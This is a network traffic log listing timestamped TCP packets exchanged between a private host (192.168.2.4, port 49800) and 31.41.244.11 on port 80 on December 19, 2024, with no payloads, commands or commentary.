Dec 19, 2024 14:10:31.890427113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.891350985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.891410112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.915766001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.915782928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.915844917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.915901899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.916069031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.916232109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.916240931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.916304111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.916960001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.916984081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.917020082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.917048931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.917697906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.917758942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.918097019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.918154001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.918201923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.918256998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.918986082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.919002056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.919053078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.919723034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.919807911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.919814110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.919863939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.920690060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.920705080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.920747995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.920777082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.921436071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.921452045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.921503067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.922219992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.922286034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.922327042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.922380924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.923057079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.923137903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.923201084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.923259020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.923904896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.923994064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.924038887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.924093962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.924704075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.924963951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.925031900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.925534010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.925597906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.925651073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.925704002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.926409006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.926471949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.926539898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.926599979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.927236080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.927297115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.927365065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.927426100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.928052902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.928111076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.928172112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.928227901 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.928934097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.928992987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.929047108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.929100990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.929817915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.929903030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.929922104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.929994106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.930661917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.930738926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.930742025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.930802107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.931399107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.931463957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.931524038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.931579113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.932245016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.932312965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.932369947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.932435036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.933240891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.933298111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.933343887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.933398008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.934215069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.934231043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.934273958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.934304953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.934967041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.935004950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.935019970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.935050964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.935643911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.935718060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.935734034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.935786009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.936587095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.936646938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.936659098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.936722040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.937370062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.937432051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.937442064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.937483072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.938270092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.938327074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.938474894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.938546896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.939306974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.939330101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.939395905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.940148115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.940192938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.940200090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.940241098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.941180944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.941241026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.941242933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.941289902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.942226887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.942244053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.942302942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.942934990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.942989111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.943028927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.943079948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.943897963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.943953991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.943969011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.944017887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.944688082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.944737911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.944747925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.944809914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.945363998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.945379019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.945425987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.945914030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.945929050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.945966005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.946001053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.946543932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.946602106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.946645975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.946692944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.947441101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.947501898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.947515965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.947554111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.948359013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.948374987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.948415041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.948438883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.949166059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.949223995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.949234009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.949286938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.949961901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.950016022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.950020075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.950069904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.950731039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.950787067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.950829029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.950876951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.951778889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.951849937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.951946020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.951993942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.952770948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.952838898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.952913046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.952964067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.954046011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.954101086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.954112053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.954170942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.954849005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.954926014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.078485966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.078635931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.078684092 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.078764915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.078929901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.078994989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.079003096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.079046011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.079917908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.079967976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.079998970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.080044985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.080594063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.080646038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.080959082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.080984116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.081006050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.081032991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.081664085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.081720114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.081789017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.081852913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.082531929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.082582951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.082653999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.082703114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.083355904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.083408117 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.117930889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.117957115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.117986917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.118016005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.118273973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.118325949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.118525028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.118573904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.119199991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.119246960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.119304895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.119354963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.120259047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.120328903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.120368958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.120414972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.120866060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.120923996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.120980978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.121023893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.121658087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.121706963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.121721983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.121769905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.122569084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.122584105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.122647047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.123281956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.123341084 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.123388052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.123451948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.124341011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.124392033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.124439955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.124488115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.125204086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.125276089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.125328064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.125375032 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.125905037 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.126075983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.126130104 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.126823902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.126874924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.126874924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.126919031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.127568960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.127655983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.127703905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.128315926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.128372908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.128421068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.128581047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.129156113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.129203081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.129240990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.129297018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.130103111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.130119085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.130151033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.130179882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.130804062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.130954027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.131009102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.131730080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.131824970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.131855965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.131899118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.132529974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.132570028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.132576942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.132620096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.133378983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.133428097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.133466959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.133517981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.134201050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.134259939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.134308100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.134463072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.135116100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.135164022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.135179996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.135266066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.135883093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.136104107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.136159897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.136980057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.137036085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.137083054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.137126923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.137706041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.137816906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.137875080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.138400078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.138525009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.138565063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.138613939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.139228106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.139273882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.139343977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.139391899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.140163898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.140181065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.140213966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.140258074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.141026020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.141088963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.141129017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.141184092 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.141763926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.141813993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.141918898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.141967058 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.142932892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.142956018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.142982960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.143011093 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.143408060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.143465996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.143513918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.143574953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.144270897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.144356012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.144407988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.144455910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.145170927 CET	80	49800	31.41.244.11	192.168.2.4
